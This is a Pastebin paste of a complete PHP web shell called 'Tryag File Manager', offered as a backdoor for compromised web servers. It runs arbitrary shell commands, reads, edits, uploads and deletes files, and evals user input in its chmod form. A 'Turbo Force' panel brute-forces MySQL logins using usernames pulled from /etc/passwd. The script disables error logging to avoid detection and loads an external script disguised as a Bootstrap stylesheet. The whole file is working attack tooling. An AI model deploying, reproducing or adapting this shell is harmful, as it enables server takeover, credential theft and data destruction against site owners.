anvenger

Tryag File Manager shell

Jun 1st, 2018
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 25.26 KB | None | 0 0
  1. <?php
  2. /***************************
  3.  *    Tryag File Manager   *
  4.  *      Coded By G-B       *
  5.  *    Mod By : Slotleet    *
  6.  *   Web : Sec4ever.com    *
  7.  **************************/
  8. error_reporting(0);
  9. set_time_limit(0);
  10. extract(start());
  11. if(get_magic_quotes_gpc()){
  12.     foreach($_POST as $key=>$value){
  13.         $_POST[$key] = stripslashes($value);
  14.     }
  15. }
  16. $_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
  17. $_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
  18. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  19.     header('Content-type: text/plain');
  20.     header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  21.     echo(file_get_contents($_POST['path']));
  22.     exit();
  23. }
  24.  
  25. /**************** Home *********************************/
  26.  
  27. echo '<!DOCTYPE html>
  28. <html>
  29. <head>
  30.    <title>Tryag File Manager</title>
  31.    <meta name="robots" content="noindex" />
  32.     <style>
  33.        body{
  34.            font-family: "Racing Sans One", cursive;
  35.            background-color: #e6e6e6;
  36.            text-shadow:0px 0px 1px #757575;
  37.            margin: 0;
  38.        }
  39.        #container{
  40.            width: auto;
  41.            margin: 10px;
  42.             padding: 10px;
  43.            border: 1px solid black;
  44.            
  45.        }
  46.         #show{
  47.             padding: 10px;
  48.        }
  49.        #header{
  50.            text-align: center;
  51.            border-bottom: 1px dotted black;
  52.        }
  53.        #header h1{
  54.            margin: 0;
  55.        }
  56.        
  57.        #nav,#menu{
  58.            padding-top: 5px;
  59.            margin-left: 5px;
  60.            padding-bottom: 5px;
  61.            overflow: hidden;
  62.            border-bottom: 1px dotted black;
  63.        }
  64.        #nav{
  65.            margin-bottom: 10px;
  66.        }
  67.        
  68.        #menu{
  69.            text-align: center;
  70.        }
  71.        
  72.        #content{
  73.            margin: 0;
  74.             width: auto;
  75.        }
  76.        
  77.        #content table{
  78.            width: 100%;
  79.            margin: 0px;
  80.        }
  81.        #content table .first{
  82.            background-color: silver;
  83.            text-align: center;
  84.        }
  85.        #content table .first:hover{
  86.            background-color: silver;
  87.            text-shadow:0px 0px 1px #757575;
  88.        }
  89.        #content table tr:hover{
  90.            background-color: #636263;
  91.            text-shadow:0px 0px 10px #fff;
  92.        }
  93.        
  94.        #footer{
  95.            margin-top: 10px;
  96.            border-top: 1px dotted black;
  97.        }
  98.        #footer p{
  99.            margin: 5px;
  100.            text-align: center;
  101.        }
  102.        .filename,a{
  103.            color: #000;
  104.            text-decoration: none;
  105.            cursor: pointer;
  106.        }
  107.        .filename:hover,a:hover{
  108.            color: #fff;
  109.            text-shadow:0px 0px 10px #ffffff;
  110.        }
  111.        .center{
  112.            text-align: center;
  113.        }
  114.        input,select,textarea{
  115.            border: 0px #ffffff solid;
  116.            -moz-border-radius: 1px;
  117.            -webkit-border-radius:1px;
  118.            border-radius:2px;
  119.             padding: 2px;
  120.        }
  121.    </style>
  122.    <script>
  123. function Encoder(name)
  124. {
  125.     var e =  document.getElementById(name);
  126.     e.value = btoa(e.value);
  127.     return true;
  128. }
  129. </script>
  130. </head>
  131. <body>
  132.    <div id="container">
  133.        <div id="header"><h1>G22B File Manager</h1>'.Quotes().'</div>
  134.        <div id="menu"><a href="?path='.$currentpathen.'">Home</a> - <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a> - <a href="?path='.$currentpathen.'&secinfo"> Sec. Info</a></div>
  135.        <div id="nav">
  136.            <div class="path">Current Path : '.nav_link().'<br>Safe Mode : '.getSafeMode().'</div>
  137.            <div class="upload">
  138.                <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
  139.                Upload File : <input type="file" name="file" />
  140.                <input type="submit" value="Upload" />
  141.                </form>
  142.            </div>
  143.            <div class="new">
  144.                <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'c\')">
  145.                <span>New : </span><input name="name" type="text" size="10" id="c" />
  146.                File <input type="radio" name="type" value="file" checked/>
  147.                Dir <input type="radio" name="type" value="dir" />
  148.                <input type="submit" value="Go" />
  149.                </form>
  150.                 <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  151.            </div>
  152.            <div class="new">
  153.                <form method="POST" action="?path='.$currentpathen.'&exec" onSubmit="Encoder(\'c\')">
  154.                <span>Execute Command\'s : </span><input name="cmd" type="text" id="c" autofocus>
  155.                <input type="submit" value="Go" />
  156.                </form>
  157.            </div>
  158.        </div>
  159.        <div id="content">';
  160. if(isset($_GET['cpanel'])){
  161.     if(isset($_POST['usernames']) && isset($_POST['passwords'])){
  162.         $usernames = base64_decode($_POST['usernames']);
  163.         $passwords = base64_decode($_POST['passwords']);
  164.         $count = 0;
  165.         foreach(explode("\n",$usernames) as $username){
  166.             $username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
  167.             foreach(explode("\n",$passwords) as $password){
  168.                 $username = trim($username);
  169.                 $password = trim($password);
  170.                 $co = mysql_connect('localhost',$username,$password);
  171.                 if($co){
  172.                     mysql_close($co);
  173.                     echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
  174.                     $count++;
  175.                 }
  176.             }
  177.         }
  178.         echo "$count Usernames Founded.";
  179.     }else{
  180.     echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\');Encoder(\'b\');">
  181.    Usernames : <br />
  182.    <textarea cols=84 rows=10 id="c" name="usernames"></textarea><br />
  183.    Passwords : <br />
  184.    <textarea cols=84 rows=10 id="b" name="passwords"></textarea><br />
  185.    Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
  186.    <br /><input type="submit" value="Go">
  187.    </form></div>';
  188.     }
  189.     }elseif(isset($_GET['exec'])){
  190.     echo '<textarea cols=100 rows=30%>'.exec_all($_POST['cmd']).'</textarea>';
  191.     }else{
  192.  
  193.         if(isset($_GET['filesrc'])){
  194.             $file = g22b_crypt($_GET['filesrc'],'de');
  195.             echo '<div class="">Current File : '.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
  196.         }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
  197.  
  198.             echo '<div class="center">'.$_POST['name'].'<br />';
  199.            
  200.             if($_POST['opt'] == 'chmod'){
  201.                 if(isset($_POST['perm'])){
  202.    
  203.                     eval('$perm = '.$_POST['perm'].';');
  204.                     if(chmod($_POST['path'],$perm)){
  205.                         echo '<font color="green">Change Permission Done.</font><br />';
  206.                         $permdone = true;
  207.                     }else{
  208.                         echo '<font color="red">Change Permission Error.</font><br />';
  209.                     }
  210.                 }
  211.                 if($permdone){
  212.                     $perm = $_POST['perm'];
  213.                 }else{
  214.                     $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
  215.                 }
  216.                
  217.                 echo '<form method="POST">
  218.                Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
  219.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  220.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  221.                <input type="hidden" name="opt" value="chmod">
  222.                <input type="submit" value="Go" />
  223.                </form>';
  224.             }elseif($_POST['opt'] == 'rename'){
  225.                
  226.                 if(isset($_POST['newname'])){
  227.                     if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
  228.                         echo '<font color="green">Change Name Done.</font><br />';
  229.                         $_POST['name'] = $_POST['newname'];
  230.                     }else{
  231.                         echo '<font color="red">Change Name Error.</font><br />';
  232.                     }
  233.                 }
  234.                
  235.                 echo '<div id="show"><form method="POST">
  236.                New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  237.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  238.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  239.                <input type="hidden" name="opt" value="rename">
  240.                <input type="submit" value="Go" />
  241.                </form></div>';
  242.             }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
  243.                 if(isset($_POST['src'])){
  244.                     $fp = fopen($_POST['path'],'w');
  245.                     if(fwrite($fp,base64_decode($_POST['src']))){
  246.                         echo '<font color="green">Edit File Done.</font><br />';
  247.                         $done = true;
  248.                     }else{
  249.                         echo '<font color="red">Edit File Error.</font><br />';
  250.                     }
  251.                     fclose($fp);
  252.                 }
  253.                 if(isset($_GET['new']) && !$done){
  254.                     $filecontent = '';
  255.                     $_POST['path'] = "$currentpath/$_POST[name]";
  256.                 }else{
  257.                     $filecontent = filesrc($_POST['path']);
  258.                 }
  259.                 echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\')">
  260.                <textarea cols="84" rows="25" name="src" id="c">'.$filecontent.'</textarea><br />
  261.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  262.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  263.                <input type="hidden" name="type" value="file" />
  264.                <input type="hidden" name="opt" value="edit">
  265.                <input type="submit" value="Go" />
  266.                </form></div>';
  267.             }
  268.            
  269.             echo '</div>';
  270.         }else{
  271.             echo '<div id="show"><div class="center">';
  272.             if($_POST['opt'] == 'delete'){
  273.                 if($_POST['type'] == 'dir'){
  274.                     if(rmdir($_POST['path'])){
  275.                         echo '<font color="green">Delete Dir Done.</font><br />';
  276.                     }else{
  277.                         echo '<font color="red">Delete Dir Error.</font><br />';
  278.                     }
  279.                 }elseif($_POST['type'] == 'file'){
  280.                     if(unlink($_POST['path'])){
  281.                         echo '<font color="green">Delete File Done.</font><br />';
  282.                     }else{
  283.                         echo '<font color="red">Delete File Error.</font><br />';
  284.                     }
  285.                 }
  286.             }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
  287.                 if(mkdir("$currentpath/$_POST[name]")){
  288.                     echo '<font color="green">Create Dir Done.</font><br />';
  289.                 }else{
  290.                     echo '<font color="red">Create Dir Error.</font><br />';
  291.                 }
  292.             }elseif(isset($_FILES['file'])){
  293.                 $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
  294.                 $userfile_tmp = $_FILES['file']['tmp_name'];
  295.                 if(move_uploaded_file($userfile_tmp,$userfile_name)){
  296.                     echo '<font color="green">File Upload Done.</font><br />';
  297.                 }else{
  298.                     echo '<font color="red">File Upload Error.</font><br />';
  299.                 }
  300.             }
  301.             echo '</div></div><table>
  302.                <tr class="first">
  303.                    <td><i class="fa fa-sort-desc"></i> Name</td>
  304.                    <td><i class="fa fa-sort-desc"></i> Size</td>
  305.                    <td><i class="fa fa-sort-desc"></i> Permissions</td>
  306.                    <td><i class="fa fa-sort-desc"></i> Options</td>
  307.                </tr>';
  308.        
  309.         $dirs = getfiles('dir');
  310.         foreach($dirs as $dir){
  311.         echo '<div id="dirs"><tr>
  312.        <td><a href="?path='.$dir['link'].'"><div class="filename"><i class="fa fa-folder"></i> '.$dir['name'].'</div></a></td>
  313.        <td class="center">'.$dir['size'].'</td>
  314.        <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
  315.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  316.        <select name="opt">
  317.         <option value=""></option>
  318.        <option value="delete">Delete</option>
  319.        <option value="chmod">Chmod</option>
  320.        <option value="rename">Rename</option>
  321.        </select>
  322.        <input type="hidden" name="type" value="dir">
  323.        <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
  324.        <input type="hidden" name="path" value="'.$dir['link'].'">
  325.        <input type="submit" value=">" />
  326.        </form></td>
  327.        </tr>
  328.        </div>';
  329.         }
  330.         echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  331.        
  332.         $files = getfiles('file');
  333.         foreach($files as $file){
  334.             echo '<div id="files">
  335.        
  336.        <tr>
  337.        <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename"><i class="fa fa-file"></i> '.$file['name'].'</div></a></td>
  338.        <td class="center">'.$file['size'].'</td>
  339.        <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
  340.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  341.        <select name="opt">
  342.         <option value=""></option>
  343.        <option value="delete">Delete</option>
  344.        <option value="chmod">Chmod</option>
  345.        <option value="rename">Rename</option>
  346.        <option value="edit">Edit</option>
  347.        <option value="download">Download</option>
  348.        </select>
  349.        <input type="hidden" name="type" value="file">
  350.        <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
  351.        <input type="hidden" name="path" value="'.$file['link'].'">
  352.        <input type="submit" value=">" />
  353.        </form></td>
  354.        </tr></div>';
  355.         }
  356.             echo '</table>';
  357.         }
  358.     }  
  359.         echo '</div>
  360.        <div id="footer"><p>Tryag File Manager Version <font color="red">2.0</font>, Coded By <font color="red">G-B</font><p>Modded by : Slotleet<br />Website: <font color="red">Sec4ever.com</font></p></div>
  361.    </div>
  362.    
  363.     </body>
  364.     </html>';
  365.  
  366.  
  367. /**************** Functions *********************************/
  368.  
  369.  
  370. function Quotes(){
  371.         $quotes=array(
  372.     "<font size='2'>&quot;When solving problems, dig at the roots instead of just hacking at the leaves&quot;</font>  <font size='1' color='gray'>Anthony J. D'Angelo</font>",
  373.     "<font size='2'>&quot;The difference between stupidity and genius is that genius has its limits&quot;</font>  <font size='1' color='gray'>Albert Einstein</font>",
  374.     "<font size='2'>&quot;As a young boy, I was taught in high school that hacking was cool.&quot;</font>  <font size='1' color='gray'>Kevin Mitnick</font>",
  375.     "<font size='2'>&quot;A lot of hacking is playing with other people, you know, getting them to do strange things.&quot;</font>  <font size='1' color='gray'>Steve Wozniak</font>",
  376.     "<font size='2'>&quot;If you give a hacker a new toy, the first thing he'll do is take it apart to figure out how it works.&quot;</font>  <font size='1' color='gray'>Jamie Zawinski</font>",
  377.     "<font size='2'>&quot;Software Engineering might be science; but that's not what I do. I'm a hacker, not an engineer.&quot;</font>  <font size='1' color='gray'>Jamie Zawinski</font>",
  378.     "<font size='2'>&quot;Never underestimate the determination of a kid who is time-rich and cash-poor&quot;</font>  <font size='1' color='gray'>Cory Doctorow</font>",
  379.     "<font size='2'>&quot;It? hardware that makes a machine fast. It? software that makes a fast machine slow.&quot;</font>  <font size='1' color='gray'>Craig Bruce</font>",
  380.     "<font size='2'>&quot;The function of good software is to make the complex appear to be simple.&quot;</font>  <font size='1' color='gray'>Grady Booch</font>",
  381.     "<font size='2'>&quot;Pasting code from the Internet into production code is like chewing gum found in the street.&quot;</font>  <font size='1' color='gray'>Anonymous</font>",
  382.     "<font size='2'>&quot;Tell me what you need and I'll tell you how to get along without it.&quot;</font>  <font size='1' color='gray'>Anonymous</font>",
  383.     "<font size='2'>&quot;Hmm..&quot;</font> <font size='1' color='gray'>Smash</font>",
  384.     "<font size='2'>&quot;Once we accept our limits, we go beyond them.&quot;</font> <font size='1' color='gray'>Albert Einstein</font>",
  385.     "<font size='2'>&quot;Listen to many, speak to a few.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>",
  386.     "<font size='2'>&quot;The robbed that smiles, steals something from the thief.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>");
  387.     $quote = $quotes[array_rand($quotes)];
  388.     return $quote;
  389. }
  390. function getSafeMode()
  391. {
  392.         global $sm;
  393.         if ($sm) {
  394.             return '<font color="red">ON</font> (Most of the Features will Not Work)';
  395.         }else{
  396.             return '<font color="green">OFF</font>';
  397.         }
  398.        
  399. }
  400. function getfiles($type){
  401.     global $currentpath;
  402.     $dir = scandir($currentpath);
  403.     $result = array();
  404.     foreach($dir as $file){
  405.         $current['fullname'] = "$currentpath/$file";
  406.         if($type == 'dir'){
  407.             if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
  408.         }elseif($type == 'file'){
  409.             if(!is_file($current['fullname'])) continue;
  410.         }
  411.        
  412.         $current['name'] = $file;
  413.         $current['link'] = g22b_crypt($current['fullname'],'en');
  414.         $current['size'] = (is_dir($current['fullname'])) ? 'Folder' : file_size($current['fullname']);
  415.         $current['perm'] = perms($current['fullname']);
  416.         if(is_writable($current['fullname'])){
  417.             $current['permcolor'] = 'green';
  418.         }elseif(is_readable($current['fullname'])){
  419.             $current['permcolor'] = '';
  420.         }else{
  421.             $current['permcolor'] = 'red';
  422.         }
  423.        
  424.         $result[] = $current;
  425.        
  426.     }
  427.     return $result;
  428. }
  429. function start(){
  430.     global $_POST,$_GET;
  431.    
  432.     $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
  433.     $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
  434.    
  435.     return $result;
  436. }
  437. function file_size($file){
  438.     $size = filesize($file)/1024;
  439.     $size = round($size,3);
  440.     if($size >= 1024){
  441.         $size = round($size/1024,2).' MB';
  442.     }else{
  443.         $size = $size.' KB';
  444.     }
  445.     return $size;
  446. }
  447. function g22b_crypt($txt,$type){
  448.     if(function_exists('base64_encode') && function_exists('base64_decode')){
  449.         return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
  450.     }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
  451.         return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
  452.     }else{
  453.         $ar1 = array('public_html','.htaccess','/','.');
  454.         $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
  455.         return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
  456.     }
  457. }
  458. function exec_all($command)
  459. {
  460.    
  461.     $output = '';
  462.     if(function_exists('exec'))
  463.     {  
  464.         exec($command,$output);
  465.         $output = join("\n",$output);
  466.     }
  467.    
  468.     else if(function_exists('shell_exec'))
  469.     {
  470.         $output = shell_exec($command);
  471.     }
  472.    
  473.     else if(function_exists('popen'))
  474.     {
  475.         $handle = popen($command , "r"); // Open the command pipe for reading
  476.         if(is_resource($handle))
  477.         {
  478.             if(function_exists('fread') && function_exists('feof'))
  479.             {
  480.                 while(!feof($handle))
  481.                 {
  482.                     $output .= fread($handle, 512);
  483.                 }
  484.             }
  485.             else if(function_exists('fgets') && function_exists('feof'))
  486.             {
  487.                 while(!feof($handle))
  488.                 {
  489.                     $output .= fgets($handle,512);
  490.                 }
  491.             }
  492.         }
  493.         pclose($handle);
  494.     }
  495.     else if(function_exists('system'))
  496.     {
  497.         ob_start(); //start output buffering
  498.         system($command);
  499.         $output = ob_get_contents();    // Get the ouput
  500.         ob_end_clean();                 // Stop output buffering
  501.     }
  502.     else if(function_exists('passthru'))
  503.     {
  504.         ob_start(); //start output buffering
  505.         passthru($command);
  506.         $output = ob_get_contents();    // Get the ouput
  507.         ob_end_clean();                 // Stop output buffering            
  508.     }
  509.     else if(function_exists('proc_open'))
  510.     {
  511.         $descriptorspec = array(
  512.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  513.                 );
  514.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  515.         if(is_resource($handle))
  516.         {
  517.             if(function_exists('fread') && function_exists('feof'))
  518.             {
  519.                 while(!feof($pipes[1]))
  520.                 {
  521.                     $output .= fread($pipes[1], 512);
  522.                 }
  523.             }
  524.             else if(function_exists('fgets') && function_exists('feof'))
  525.             {
  526.                 while(!feof($pipes[1]))
  527.                 {
  528.                     $output .= fgets($pipes[1],512);
  529.                 }
  530.             }
  531.         }
  532.         pclose($handle);
  533.     }
  534.     return(htmlspecialchars($output));
  535. }
  536. if(function_exists('ini_set'))
  537. {
  538.     ini_set('error_log',NULL);  // No alarming logs
  539.     ini_set('log_errors',0);    // No logging of errors
  540.     ini_set('file_uploads',1);  // Enable file uploads
  541.     ini_set('allow_url_fopen',1);   // allow url fopen
  542. }else{
  543.     ini_alter('error_log',NULL);
  544.     ini_alter('log_errors',0);
  545.     ini_alter('file_uploads',1);
  546.     ini_alter('allow_url_fopen',1);
  547. }
  548. function strToHex($string){
  549.     $hex='';
  550.     for ($i=0; $i < strlen($string); $i++)
  551.     {
  552.         $hex .= dechex(ord($string[$i]));
  553.     }
  554.     return $hex;
  555. }
  556. function hexToStr($hex){
  557.     $string='';
  558.     for ($i=0; $i < strlen($hex)-1; $i+=2)
  559.     {
  560.         $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  561.     }
  562.     return $string;
  563. }
  564. function nav_link(){
  565.     global $currentpath;
  566.     $path = $currentpath;
  567.     $path = str_replace('\\','/',$path);
  568.     $paths = explode('/',$path);
  569.     $result = '';
  570.     foreach($paths as $id=>$pat){
  571.         if($pat == '' && $id == 0){
  572.             $a = true;
  573.             $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
  574.             continue;
  575.         }
  576.         if($pat == '') continue;
  577.         $result .= '<a href="?path=';
  578.         $linkpath = '';
  579.         for($i=0;$i<=$id;$i++){
  580.             $linkpath .= "$paths[$i]";
  581.             if($i != $id) $linkpath .= "/";
  582.         }
  583.         $result .= g22b_crypt($linkpath,'en');
  584.         $result .=  '">'.$pat.'</a>/';
  585.     }
  586.     return $result;
  587. }
  588. function filesrc($file){
  589.     return htmlspecialchars(file_get_contents($file));
  590. }
  591. function cwd(){
  592.     if(function_exists('getcwd')){
  593.         return getcwd();
  594.     }else{
  595.         $e = str_replace("\\","/",$path);
  596.         $e = explode('/',$path);
  597.         $result = '';
  598.         for($i=0;$i<count($e)-1;$i++){
  599.             if($e[$i] == '') continue;
  600.             $result .= '/'.$e[$i];
  601.         }
  602.         return $result;
  603.     }
  604. }
  605. function passwdtouser($line){
  606.     $user = explode(':',$line);
  607.     return $user[0];
  608. }
  609. function perms($file){
  610.     $perms = @fileperms($file);
  611.  
  612. if (($perms & 0xC000) == 0xC000) {
  613.     // Socket
  614.     $info = 's';
  615. } elseif (($perms & 0xA000) == 0xA000) {
  616.     // Symbolic Link
  617.     $info = 'l';
  618. } elseif (($perms & 0x8000) == 0x8000) {
  619.     // Regular
  620.     $info = '-';
  621. } elseif (($perms & 0x6000) == 0x6000) {
  622.     // Block special
  623.     $info = 'b';
  624. } elseif (($perms & 0x4000) == 0x4000) {
  625.     // Directory
  626.     $info = 'd';
  627. } elseif (($perms & 0x2000) == 0x2000) {
  628.     // Character special
  629.     $info = 'c';
  630. } elseif (($perms & 0x1000) == 0x1000) {
  631.     // FIFO pipe
  632.     $info = 'p';
  633. } else {
  634.     // Unknown
  635.     $info = 'u';
  636. }
  637. // Owner
  638. $info .= (($perms & 0x0100) ? 'r' : '-');
  639. $info .= (($perms & 0x0080) ? 'w' : '-');
  640. $info .= (($perms & 0x0040) ?
  641.             (($perms & 0x0800) ? 's' : 'x' ) :
  642.             (($perms & 0x0800) ? 'S' : '-'));
  643. // Group
  644. $info .= (($perms & 0x0020) ? 'r' : '-');
  645. $info .= (($perms & 0x0010) ? 'w' : '-');
  646. $info .= (($perms & 0x0008) ?
  647.             (($perms & 0x0400) ? 's' : 'x' ) :
  648.             (($perms & 0x0400) ? 'S' : '-'));
  649. // World
  650. $info .= (($perms & 0x0004) ? 'r' : '-');
  651. $info .= (($perms & 0x0002) ? 'w' : '-');
  652. $info .= (($perms & 0x0001) ?
  653.             (($perms & 0x0200) ? 't' : 'x' ) :
  654.             (($perms & 0x0200) ? 'T' : '-'));
  655.     return $info;
  656. }?>
Add Comment
Please, Sign In to add comment